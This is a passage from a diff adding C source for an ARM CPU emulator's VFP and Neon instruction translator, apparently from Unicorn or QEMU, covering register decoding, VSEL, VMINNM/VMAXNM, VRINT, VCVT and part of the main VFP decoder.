bigbit - 1) & 0x1e) | (((insn) >> (smallbit)) & 1)) + +#define VFP_REG_SHR_POS(x, n) ((insn) >> (n)) +#define VFP_SREG_POS(insn, bigbit, smallbit) \ + ((VFP_REG_SHR_POS(insn, bigbit - 1) & 0x1e) | (((insn) >> (smallbit)) & 1)) + +#define VFP_DREG(reg, insn, bigbit, smallbit) do { \ + if (arm_dc_feature(s, ARM_FEATURE_VFP3)) { \ + reg = (((insn) >> (bigbit)) & 0x0f) \ + | (((insn) >> ((smallbit) - 4)) & 0x10); \ + } else { \ + if (insn & (1 << (smallbit))) \ + return 1; \ + reg = ((insn) >> (bigbit)) & 0x0f; \ + }} while (0) + +#define VFP_SREG_D(insn) VFP_SREG_POS(insn, 12, 22) +#define VFP_DREG_D(reg, insn) VFP_DREG(reg, insn, 12, 22) +#define VFP_SREG_N(insn) VFP_SREG_POS(insn, 16, 7) +#define VFP_DREG_N(reg, insn) VFP_DREG(reg, insn, 16, 7) +#define VFP_SREG_M(insn) VFP_SREG_NEG(insn, 0, 5) +#define VFP_DREG_M(reg, insn) VFP_DREG(reg, insn, 0, 5) + +/* Move between integer and VFP cores. */ +static TCGv_i32 gen_vfp_mrs(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, tmp, tcg_ctx->cpu_F0s); + return tmp; +} + +static void gen_vfp_msr(DisasContext *s, TCGv_i32 tmp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_F0s, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); +} + +static void gen_neon_dup_u8(DisasContext *s, TCGv_i32 var, int shift) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + if (shift) + tcg_gen_shri_i32(tcg_ctx, var, var, shift); + tcg_gen_ext8u_i32(tcg_ctx, var, var); + tcg_gen_shli_i32(tcg_ctx, tmp, var, 8); + tcg_gen_or_i32(tcg_ctx, var, var, tmp); + tcg_gen_shli_i32(tcg_ctx, tmp, var, 16); + tcg_gen_or_i32(tcg_ctx, var, var, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); +} + +static void gen_neon_dup_low16(DisasContext *s, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ext16u_i32(tcg_ctx, var, var); + tcg_gen_shli_i32(tcg_ctx, tmp, var, 16); + tcg_gen_or_i32(tcg_ctx, var, var, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); +} + +static void gen_neon_dup_high16(DisasContext *s, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, var, var, 0xffff0000); + tcg_gen_shri_i32(tcg_ctx, tmp, var, 16); + tcg_gen_or_i32(tcg_ctx, var, var, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); +} + +static TCGv_i32 gen_load_and_replicate(DisasContext *s, TCGv_i32 addr, int size) +{ + /* Load a single Neon element and replicate into a 32 bit TCG reg */ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + switch (size) { + case 0: + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + gen_neon_dup_u8(s, tmp, 0); + break; + case 1: + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + gen_neon_dup_low16(s, tmp); + break; + case 2: + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + break; + default: /* Avoid compiler warnings. */ + abort(); + } + return tmp; +} + +static int handle_vsel(DisasContext *s, uint32_t insn, uint32_t rd, uint32_t rn, uint32_t rm, + uint32_t dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t cc = extract32(insn, 20, 2); + + if (dp) { + TCGv_i64 frn, frm, dest; + TCGv_i64 tmp, zero, zf, nf, vf; + + zero = tcg_const_i64(tcg_ctx, 0); + + frn = tcg_temp_new_i64(tcg_ctx); + frm = tcg_temp_new_i64(tcg_ctx); + dest = tcg_temp_new_i64(tcg_ctx); + + zf = tcg_temp_new_i64(tcg_ctx); + nf = tcg_temp_new_i64(tcg_ctx); + vf = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_extu_i32_i64(tcg_ctx, zf, tcg_ctx->cpu_ZF); + tcg_gen_ext_i32_i64(tcg_ctx, nf, tcg_ctx->cpu_NF); + tcg_gen_ext_i32_i64(tcg_ctx, vf, tcg_ctx->cpu_VF); + + tcg_gen_ld_f64(tcg_ctx, frn, tcg_ctx->cpu_env, vfp_reg_offset(dp, rn)); + tcg_gen_ld_f64(tcg_ctx, frm, tcg_ctx->cpu_env, vfp_reg_offset(dp, rm)); + switch (cc) { + case 0: /* eq: Z */ + tcg_gen_movcond_i64(tcg_ctx, TCG_COND_EQ, dest, zf, zero, + frn, frm); + break; + case 1: /* vs: V */ + tcg_gen_movcond_i64(tcg_ctx, TCG_COND_LT, dest, vf, zero, + frn, frm); + break; + case 2: /* ge: N == V -> N ^ V == 0 */ + tmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_xor_i64(tcg_ctx, tmp, vf, nf); + tcg_gen_movcond_i64(tcg_ctx, TCG_COND_GE, dest, tmp, zero, + frn, frm); + tcg_temp_free_i64(tcg_ctx, tmp); + break; + case 3: /* gt: !Z && N == V */ + tcg_gen_movcond_i64(tcg_ctx, TCG_COND_NE, dest, zf, zero, + frn, frm); + tmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_xor_i64(tcg_ctx, tmp, vf, nf); + tcg_gen_movcond_i64(tcg_ctx, TCG_COND_GE, dest, tmp, zero, + dest, frm); + tcg_temp_free_i64(tcg_ctx, tmp); + break; + } + tcg_gen_st_f64(tcg_ctx, dest, tcg_ctx->cpu_env, vfp_reg_offset(dp, rd)); + tcg_temp_free_i64(tcg_ctx, frn); + tcg_temp_free_i64(tcg_ctx, frm); + tcg_temp_free_i64(tcg_ctx, dest); + + tcg_temp_free_i64(tcg_ctx, zf); + tcg_temp_free_i64(tcg_ctx, nf); + tcg_temp_free_i64(tcg_ctx, vf); + + tcg_temp_free_i64(tcg_ctx, zero); + } else { + TCGv_i32 frn, frm, dest; + TCGv_i32 tmp, zero; + + zero = tcg_const_i32(tcg_ctx, 0); + + frn = tcg_temp_new_i32(tcg_ctx); + frm = tcg_temp_new_i32(tcg_ctx); + dest = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_f32(tcg_ctx, frn, tcg_ctx->cpu_env, vfp_reg_offset(dp, rn)); + tcg_gen_ld_f32(tcg_ctx, frm, tcg_ctx->cpu_env, vfp_reg_offset(dp, rm)); + switch (cc) { + case 0: /* eq: Z */ + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_EQ, dest, tcg_ctx->cpu_ZF, zero, + frn, frm); + break; + case 1: /* vs: V */ + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_LT, dest, tcg_ctx->cpu_VF, zero, + frn, frm); + break; + case 2: /* ge: N == V -> N ^ V == 0 */ + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_xor_i32(tcg_ctx, tmp, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_GE, dest, tmp, zero, + frn, frm); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 3: /* gt: !Z && N == V */ + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_NE, dest, tcg_ctx->cpu_ZF, zero, + frn, frm); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_xor_i32(tcg_ctx, tmp, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_GE, dest, tmp, zero, + dest, frm); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + } + tcg_gen_st_f32(tcg_ctx, dest, tcg_ctx->cpu_env, vfp_reg_offset(dp, rd)); + tcg_temp_free_i32(tcg_ctx, frn); + tcg_temp_free_i32(tcg_ctx, frm); + tcg_temp_free_i32(tcg_ctx, dest); + + tcg_temp_free_i32(tcg_ctx, zero); + } + + return 0; +} + +static int handle_vminmaxnm(DisasContext *s, uint32_t insn, uint32_t rd, uint32_t rn, + uint32_t rm, uint32_t dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t vmin = extract32(insn, 6, 1); + TCGv_ptr fpst = get_fpstatus_ptr(s, 0); + + if (dp) { + TCGv_i64 frn, frm, dest; + + frn = tcg_temp_new_i64(tcg_ctx); + frm = tcg_temp_new_i64(tcg_ctx); + dest = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_ld_f64(tcg_ctx, frn, tcg_ctx->cpu_env, vfp_reg_offset(dp, rn)); + tcg_gen_ld_f64(tcg_ctx, frm, tcg_ctx->cpu_env, vfp_reg_offset(dp, rm)); + if (vmin) { + gen_helper_vfp_minnumd(tcg_ctx, dest, frn, frm, fpst); + } else { + gen_helper_vfp_maxnumd(tcg_ctx, dest, frn, frm, fpst); + } + tcg_gen_st_f64(tcg_ctx, dest, tcg_ctx->cpu_env, vfp_reg_offset(dp, rd)); + tcg_temp_free_i64(tcg_ctx, frn); + tcg_temp_free_i64(tcg_ctx, frm); + tcg_temp_free_i64(tcg_ctx, dest); + } else { + TCGv_i32 frn, frm, dest; + + frn = tcg_temp_new_i32(tcg_ctx); + frm = tcg_temp_new_i32(tcg_ctx); + dest = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_ld_f32(tcg_ctx, frn, tcg_ctx->cpu_env, vfp_reg_offset(dp, rn)); + tcg_gen_ld_f32(tcg_ctx, frm, tcg_ctx->cpu_env, vfp_reg_offset(dp, rm)); + if (vmin) { + gen_helper_vfp_minnums(tcg_ctx, dest, frn, frm, fpst); + } else { + gen_helper_vfp_maxnums(tcg_ctx, dest, frn, frm, fpst); + } + tcg_gen_st_f32(tcg_ctx, dest, tcg_ctx->cpu_env, vfp_reg_offset(dp, rd)); + tcg_temp_free_i32(tcg_ctx, frn); + tcg_temp_free_i32(tcg_ctx, frm); + tcg_temp_free_i32(tcg_ctx, dest); + } + + tcg_temp_free_ptr(tcg_ctx, fpst); + return 0; +} + +static int handle_vrint(DisasContext *s, uint32_t insn, uint32_t rd, uint32_t rm, uint32_t dp, + int rounding) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_ptr fpst = get_fpstatus_ptr(s, 0); + TCGv_i32 tcg_rmode; + + tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(rounding)); + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + + if (dp) { + TCGv_i64 tcg_op; + TCGv_i64 tcg_res; + tcg_op = tcg_temp_new_i64(tcg_ctx); + tcg_res = tcg_temp_new_i64(tcg_ctx); + tcg_gen_ld_f64(tcg_ctx, tcg_op, tcg_ctx->cpu_env, vfp_reg_offset(dp, rm)); + gen_helper_rintd(tcg_ctx, tcg_res, tcg_op, fpst); + tcg_gen_st_f64(tcg_ctx, tcg_res, tcg_ctx->cpu_env, vfp_reg_offset(dp, rd)); + tcg_temp_free_i64(tcg_ctx, tcg_op); + tcg_temp_free_i64(tcg_ctx, tcg_res); + } else { + TCGv_i32 tcg_op; + TCGv_i32 tcg_res; + tcg_op = tcg_temp_new_i32(tcg_ctx); + tcg_res = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_f32(tcg_ctx, tcg_op, tcg_ctx->cpu_env, vfp_reg_offset(dp, rm)); + gen_helper_rints(tcg_ctx, tcg_res, tcg_op, fpst); + tcg_gen_st_f32(tcg_ctx, tcg_res, tcg_ctx->cpu_env, vfp_reg_offset(dp, rd)); + tcg_temp_free_i32(tcg_ctx, tcg_op); + tcg_temp_free_i32(tcg_ctx, tcg_res); + } + + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + + tcg_temp_free_ptr(tcg_ctx, fpst); + return 0; +} + +static int handle_vcvt(DisasContext *s, uint32_t insn, uint32_t rd, uint32_t rm, uint32_t dp, + int rounding) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + bool is_signed = extract32(insn, 7, 1); + TCGv_ptr fpst = get_fpstatus_ptr(s, 0); + TCGv_i32 tcg_rmode, tcg_shift; + + tcg_shift = tcg_const_i32(tcg_ctx, 0); + + tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(rounding)); + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + + if (dp) { + TCGv_i64 tcg_double, tcg_res; + TCGv_i32 tcg_tmp; + /* Rd is encoded as a single precision register even when the source + * is double precision. + */ + rd = ((rd << 1) & 0x1e) | ((rd >> 4) & 0x1); + tcg_double = tcg_temp_new_i64(tcg_ctx); + tcg_res = tcg_temp_new_i64(tcg_ctx); + tcg_tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_f64(tcg_ctx, tcg_double, tcg_ctx->cpu_env, vfp_reg_offset(1, rm)); + if (is_signed) { + gen_helper_vfp_tosld(tcg_ctx, tcg_res, tcg_double, tcg_shift, fpst); + } else { + gen_helper_vfp_tould(tcg_ctx, tcg_res, tcg_double, tcg_shift, fpst); + } + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_tmp, tcg_res); + tcg_gen_st_f32(tcg_ctx, tcg_tmp, tcg_ctx->cpu_env, vfp_reg_offset(0, rd)); + tcg_temp_free_i32(tcg_ctx, tcg_tmp); + tcg_temp_free_i64(tcg_ctx, tcg_res); + tcg_temp_free_i64(tcg_ctx, tcg_double); + } else { + TCGv_i32 tcg_single, tcg_res; + tcg_single = tcg_temp_new_i32(tcg_ctx); + tcg_res = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_f32(tcg_ctx, tcg_single, tcg_ctx->cpu_env, vfp_reg_offset(0, rm)); + if (is_signed) { + gen_helper_vfp_tosls(tcg_ctx, tcg_res, tcg_single, tcg_shift, fpst); + } else { + gen_helper_vfp_touls(tcg_ctx, tcg_res, tcg_single, tcg_shift, fpst); + } + tcg_gen_st_f32(tcg_ctx, tcg_res, tcg_ctx->cpu_env, vfp_reg_offset(0, rd)); + tcg_temp_free_i32(tcg_ctx, tcg_res); + tcg_temp_free_i32(tcg_ctx, tcg_single); + } + + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + + tcg_temp_free_i32(tcg_ctx, tcg_shift); + + tcg_temp_free_ptr(tcg_ctx, fpst); + + return 0; +} + +/* Table for converting the most common AArch32 encoding of + * rounding mode to arm_fprounding order (which matches the + * common AArch64 order); see ARM ARM pseudocode FPDecodeRM(). + */ +static const uint8_t fp_decode_rm[] = { + FPROUNDING_TIEAWAY, + FPROUNDING_TIEEVEN, + FPROUNDING_POSINF, + FPROUNDING_NEGINF, +}; + +static int disas_vfp_v8_insn(DisasContext *s, uint32_t insn) +{ + uint32_t rd, rn, rm, dp = extract32(insn, 8, 1); + + if (!arm_dc_feature(s, ARM_FEATURE_V8)) { + return 1; + } + + if (dp) { + VFP_DREG_D(rd, insn); + VFP_DREG_N(rn, insn); + VFP_DREG_M(rm, insn); + } else { + rd = VFP_SREG_D(insn); + rn = VFP_SREG_N(insn); + rm = VFP_SREG_M(insn); + } + + if ((insn & 0x0f800e50) == 0x0e000a00) { + return handle_vsel(s, insn, rd, rn, rm, dp); + } else if ((insn & 0x0fb00e10) == 0x0e800a00) { + return handle_vminmaxnm(s, insn, rd, rn, rm, dp); + } else if ((insn & 0x0fbc0ed0) == 0x0eb80a40) { + /* VRINTA, VRINTN, VRINTP, VRINTM */ + int rounding = fp_decode_rm[extract32(insn, 16, 2)]; + return handle_vrint(s, insn, rd, rm, dp, rounding); + } else if ((insn & 0x0fbc0e50) == 0x0ebc0a40) { + /* VCVTA, VCVTN, VCVTP, VCVTM */ + int rounding = fp_decode_rm[extract32(insn, 16, 2)]; + return handle_vcvt(s, insn, rd, rm, dp, rounding); + } + return 1; +} + +/* Disassemble a VFP instruction. Returns nonzero if an error occurred + (ie. an undefined instruction). */ +static int disas_vfp_insn(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t rd, rn, rm, op, i, n, offset, delta_d, delta_m, bank_mask; + int dp, veclen; + TCGv_i32 addr; + TCGv_i32 tmp; + TCGv_i32 tmp2; + + if (!arm_dc_feature(s, ARM_FEATURE_VFP)) { + return 1; + } + + /* FIXME: this access check should not take precedence over UNDEF + * for invalid encodings; we will generate incorrect syndrome information + * for attempts to execute invalid vfp/neon encodings with FP disabled. + */ + if (!s->cpacr_fpen) { + gen_exception_insn(s, 4, EXCP_UDEF, + syn_fp_access_trap(1, 0xe, s->thumb)); + return 0; + } + + if (!s->vfp_enabled) { + /* VFP disabled. Only allow fmxr/fmrx to/from some control regs. */ + if ((insn & 0x0fe00fff) != 0x0ee00a10) + return 1; + rn = (insn >> 16) & 0xf; + if (rn != ARM_VFP_FPSID && rn != ARM_VFP_FPEXC && rn != ARM_VFP_MVFR2 + && rn != ARM_VFP_MVFR1 && rn != ARM_VFP_MVFR0) { + return 1; + } + } + + if (extract32(insn, 28, 4) == 0xf) { + /* Encodings with T=1 (Thumb) or unconditional (ARM): + * only used in v8 and above. + */ + return disas_vfp_v8_insn(s, insn); + } + + dp = ((insn & 0xf00) == 0xb00); + switch ((insn >> 24) & 0xf) { + case 0xe: + if (insn & (1 << 4)) { + /* single register transfer */ + rd = (insn >> 12) & 0xf; + if (dp) { + int size; + int pass; + + VFP_DREG_N(rn, insn); + if (insn & 0xf) + return 1; + if (insn & 0x00c00060 + && !arm_dc_feature(s, ARM_FEATURE_NEON)) { + return 1; + } + + pass = (insn >> 21) & 1; + if (insn & (1 << 22)) { + size = 0; + offset = ((insn >> 5) & 3) * 8; + } else if (insn & (1 << 5)) { + size = 1; + offset = (insn & (1 << 6)) ? 16 : 0; + } else { + size = 2; + offset = 0; + } + if (insn & ARM_CP_RW_BIT) { + /* vfp->arm */ + tmp = neon_load_reg(tcg_ctx, rn, pass); + switch (size) { + case 0: + if (offset) + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, offset); + if (insn & (1 << 23)) + gen_uxtb(tmp); + else + gen_sxtb(tmp); + break; + case 1: + if (insn & (1 << 23)) { + if (offset) { + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, 16); + } else { + gen_uxth(tmp); + } + } else { + if (offset) { + tcg_gen_sari_i32(tcg_ctx, tmp, tmp, 16); + } else { + gen_sxth(tmp); + } + } + break; + case 2: + break; + } + store_reg(s, rd, tmp); + } else { + /* arm->vfp */ + tmp = load_reg(s, rd); + if (insn & (1 << 23)) { + /* VDUP */ + if (size == 0) { + gen_neon_dup_u8(s, tmp, 0); + } else if (size == 1) { + gen_neon_dup_low16(s, tmp); + } + for (n = 0; n <= pass * 2; n++) { + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, tmp2, tmp); + neon_store_reg(tcg_ctx, rn, n, tmp2); + } + neon_store_reg(tcg_ctx, rn, n, tmp); + } else { + /* VMOV */ + switch (size) { + case 0: + tmp2 = neon_load_reg(tcg_ctx, rn, pass); + tcg_gen_deposit_i32(tcg_ctx, tmp, tmp2, tmp, offset, 8); + tcg_temp_free_i32(tcg_ctx, tmp2); + break; + case 1: + tmp2 = neon_load_reg(tcg_ctx, rn, pass); + tcg_gen_deposit_i32(tcg_ctx, tmp, tmp2, tmp, offset, 16); + tcg_temp_free_i32(tcg_ctx, tmp2); + break; + case 2: + break; + } + neon_store_reg(tcg_ctx, rn, pass, tmp); + } + } + } else { /* !dp */ + if ((insn & 0x6f) != 0x00) + return 1; + rn = VFP_SREG_N(insn); + if (insn & ARM_CP_RW_BIT) { + /* vfp->arm */ + if (insn & (1 << 21)) { + /* system register */ + rn >>= 1; + + switch (rn) { + case ARM_VFP_FPSID: + /* VFP2 allows access to FSID from userspace. + VFP3 restricts all id registers to privileged + accesses. */ + if (IS_USER(s) + && arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + tmp = load_cpu_field(s->uc, vfp.xregs[rn]); + break; + case ARM_VFP_FPEXC: + if (IS_USER(s)) + return 1; + tmp = load_cpu_field(s->uc, vfp.xregs[rn]); + break; + case ARM_VFP_FPINST: + case ARM_VFP_FPINST2: + /* Not present in VFP3. */ + if (IS_USER(s) + || arm_dc_feature(s, ARM_FEATURE_VFP3)) { + return 1; + } + tmp = load_cpu_field(s->uc, vfp.xregs[rn]); + break; + case ARM_VFP_FPSCR: + if (rd == 15) { + tmp = load_cpu_field(s->uc, vfp.xregs[ARM_VFP_FPSCR]); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 0xf0000000); + } else { + tmp = tcg_temp_new_i32(tcg_ctx); + gen_helper_vfp_get_fpscr(tcg_ctx, tmp, tcg_ctx->cpu_env); + } + break; + case ARM_VFP_MVFR2: + if (!arm_dc_feature(s, ARM_FEATURE_V8)) { + return 1; + } + /* fall through */ + case ARM_VFP_MVFR0: + case ARM_VFP_MVFR1: + if (IS_USER(s) + || !arm_dc_feature(s, ARM_FEATURE_MVFR)) { + return 1; + } + tmp = load_cpu_field(s->uc, vfp.xregs[rn]); + break; + default: + return 1; + } + } else { + gen_mov_F0_vreg(s, 0, rn); + tmp = gen_vfp_mrs(s); + } + if (rd == 15) { + /* Set the 4 flag bits in the CPSR. */ + gen_set_nzcv(s, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + } else { + store_reg(s, rd, tmp); + } + } else { + /* arm->vfp */ + if (insn & (1 << 21)) { + rn >>= 1; + /* system register */ + switch (rn) { + case ARM_VFP_FPSID: + case ARM_VFP_MVFR0: + case ARM_VFP_MVFR1: + /* Writes are ignored. */ + break; + case ARM_VFP_FPSCR: + tmp = load_reg(s, rd); + gen_helper_vfp_set_fpscr(tcg_ctx, tcg_ctx->cpu_env, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_lookup_tb(s); + break; + case ARM_VFP_FPEXC: + if (IS_USER(s)) + return 1; + /* TODO: VFP subarchitecture support. + * For now, keep the EN bit only */ + tmp = load_reg(s, rd); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 1 << 30); + store_cpu_field(tcg_ctx, tmp, vfp.xregs[rn]); + gen_lookup_tb(s); + break; + case ARM_VFP_FPINST: + case ARM_VFP_FPINST2: + if (IS_USER(s)) { + return 1; + } + tmp = load_reg(s, rd); + store_cpu_field(tcg_ctx, tmp, vfp.xregs[rn]); + break; + default: + return 1; + } + } else { + tmp = load_reg(s, rd); + gen_vfp_msr(s, tmp); + gen_mov_vreg_F0(s, 0, rn); + } + } + } + } else { + /* data processing */ + /* The opcode is in bits 23, 21, 20 and 6. */ + op = ((insn >> 20) & 8) | ((insn >> 19) & 6) | ((insn >> 6) & 1); + if (dp) { + if (op == 15) { + /* rn is opcode */ + rn = ((insn >> 15) & 0x1e) | ((insn >> 7) & 1); + } else { + /* rn is register number */ + VFP_DREG_N(rn, insn); + } + + if (op == 15 && (rn == 15 || ((rn & 0x1c) == 0x18) || + ((rn & 0x1e) == 0x6))) { + /* Integer or single/half precision destination. */ + rd = VFP_SREG_D(insn); + } else { + VFP_DREG_D(rd, insn); + } + if (op == 15 && + (((rn & 0x1c) == 0x10) || ((rn & 0x14) == 0x14) || + ((rn & 0x1e) == 0x4))) { + /* VCVT from int or half precision is always from S reg + * regardless of dp bit. VCVT with immediate frac_bits + * has same format as SREG_M. + */ + rm = VFP_SREG_M(insn); + } else { + VFP_DREG_M(rm, insn); + } + } else { + rn = VFP_SREG_N(insn); + if (op == 15 && rn == 15) { + /* Double precision destination. */ + VFP_DREG_D(rd, insn); + } else { + rd = VFP_SREG_D(insn); + } + /* NB that we implicitly rely on the encoding for the frac_bits + * in VCVT of fixed to float being the same as that of an SREG_M + */ + rm = VFP_SREG_M(insn); + } + + veclen = s->vec_len; + if (op == 15 && rn > 3) + veclen = 0; + + /* Shut up compiler warnings. */ + delta_m = 0; + delta_d = 0; + bank_mask = 0; + + if (veclen > 0) { + if (dp) + bank_mask = 0xc; + else + bank_mask = 0x18; + + /* Figure out what type of vector operation this is. */ + if ((rd & bank_mask) == 0) { + /* scalar */ + veclen = 0; + } else { + if (dp) + delta_d = (s->vec_stride >> 1) + 1; + else + delta_d = s->vec_stride + 1; + + if ((rm & bank_mask) == 0) { + /* mixed scalar/vector */ + delta_m = 0; + } else { + /* vector */ + delta_m = delta_d; + } + } + } + + /* Load the initial operands. */ + if (op == 15) { + switch (rn) { + case 16: + case 17: + /* Integer source */ + gen_mov_F0_vreg(s, 0, rm); + break; + case 8: + case 9: + /* Compare */ + gen_mov_F0_vreg(s, dp, rd); + gen_mov_F1_vreg(s, dp, rm); + break; + case 10: + case 11: + /* Compare with zero */ + gen_mov_F0_vreg(s, dp, rd); + gen_vfp_F1_ld0(s, dp); + break; + case 20: + case 21: + case 22: + case 23: + case 28: + case 29: + case 30: + case 31: + /* Source and destination the same. */ + gen_mov_F0_vreg(s, dp, rd); + break; + case 4: + case 5: + case 6: + case 7: + /* VCVTB, VCVTT: only present with the halfprec extension + * UNPREDICTABLE if bit 8 is set prior to ARMv8 + * (we choose to UNDEF) + */ + if ((dp && !arm_dc_feature(s, ARM_FEATURE_V8)) || + !arm_dc_feature(s, ARM_FEATURE_VFP_FP16)) { + return 1; + } + if (!extract32(rn, 1, 1)) { + /* Half precision source. */ + gen_mov_F0_vreg(s, 0, rm); + break; + } + /* Otherwise fall through */ + default: + /* One source operand. */ + gen_mov_F0_vreg(s, dp, rm); + break; + } + } else { + /* Two source operands. */ + gen_mov_F0_vreg(s, dp, rn); + gen_mov_F1_vreg(s, dp, rm); + } + + for (;;) { + /* Perform the calculation. */ + switch (op) { + case 0: /* VMLA: fd + (fn * fm) */ + /* Note that order of inputs to the add matters for NaNs */ + gen_vfp_F1_mul(s, dp); + gen_mov_F0_vreg(s, dp, rd); + gen_vfp_add(s, dp); + break; + case 1: /* VMLS: fd + -(fn * fm) */ + gen_vfp_mul(s, dp); + gen_vfp_F1_neg(s, dp); + gen_mov_F0_vreg(s, dp, rd); + gen_vfp_add(s, dp); + break; + case 2: /* VNMLS: -fd + (fn * fm) */ + /* Note that it isn't valid to replace (-A + B) with (B - A) + * or similar plausible looking simplifications + * because this will give wrong results for NaNs. + */ + gen_vfp_F1_mul(s, dp); + gen_mov_F0_vreg(s, dp, rd); + gen_vfp_neg(s, dp); + gen_vfp_add(s, dp); + break; + case 3: /* VNMLA: -fd + -(fn * fm) */ + gen_vfp_mul(s, dp); + gen_vfp_F1_neg(s, dp); + gen_mov_F0_vreg(s, dp, rd); + gen_vfp_neg(s, dp); + gen_vfp_add(s, dp); + break; + case 4: /* mul: fn * fm */ + gen_vfp_mul(s, dp); + break; + case 5: /* nmul: -(fn * fm) */ + gen_vfp_mul(s, dp); + gen_vfp_neg(s, dp); + break; + case 6: /* add: fn + fm */ + gen_vfp_add(s, dp); + break; + case 7: /* sub: fn - fm */ + gen_vfp_sub(s, dp); + break; + case 8: /* div: fn / fm */ + gen_vfp_div(s, dp); + break; + case 10: /* VFNMA : fd = muladd(-fd, fn, fm) */ + case 11: /* VFNMS : fd = muladd(-fd, -fn, fm) */ + case 12: /* VFMA : fd = muladd( fd, fn, fm) */ + case 13: /* VFMS : fd = muladd( fd, -fn, fm) */ + /* These are fused multiply-add, and must be done as one + * floating point operation with no rounding between the + * multiplication and addition steps. + * NB that doing the negations here as separate steps is + * correct : an input NaN should come out with its sign bit + * flipped if it is a negated-input. + */ + if (!arm_dc_feature(s, ARM_FEATURE_VFP4)) { + return 1; + } + if (dp) { + TCGv_ptr fpst; + TCGv_i64 frd; + if (op & 1) { + /* VFNMS, VFMS */ + gen_helper_vfp_negd(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d); + } + frd = tcg_temp_new_i64(tcg_ctx); + tcg_gen_ld_f64(tcg_ctx, frd, tcg_ctx->cpu_env, vfp_reg_offset(dp, rd)); + if (op & 2) { + /* VFNMA, VFNMS */ + gen_helper_vfp_negd(tcg_ctx, frd, frd); + } + fpst = get_fpstatus_ptr(s, 0); + gen_helper_vfp_muladdd(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d, + tcg_ctx->cpu_F1d, frd, fpst); + tcg_temp_free_ptr(tcg_ctx, fpst); + tcg_temp_free_i64(tcg_ctx, frd); + } else { + TCGv_ptr fpst; + TCGv_i32 frd; + if (op & 1) { + /* VFNMS, VFMS */ + gen_helper_vfp_negs(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s); + } + frd = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_f32(tcg_ctx, frd, tcg_ctx->cpu_env, vfp_reg_offset(dp, rd)); + if (op & 2) { + gen_helper_vfp_negs(tcg_ctx, frd, frd); + } + fpst = get_fpstatus_ptr(s, 0); + gen_helper_vfp_muladds(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, + tcg_ctx->cpu_F1s, frd, fpst); + tcg_temp_free_ptr(tcg_ctx, fpst); + tcg_temp_free_i32(tcg_ctx, frd); + } + break; + case 14: /* fconst */ + if (!arm_dc_feature(s, 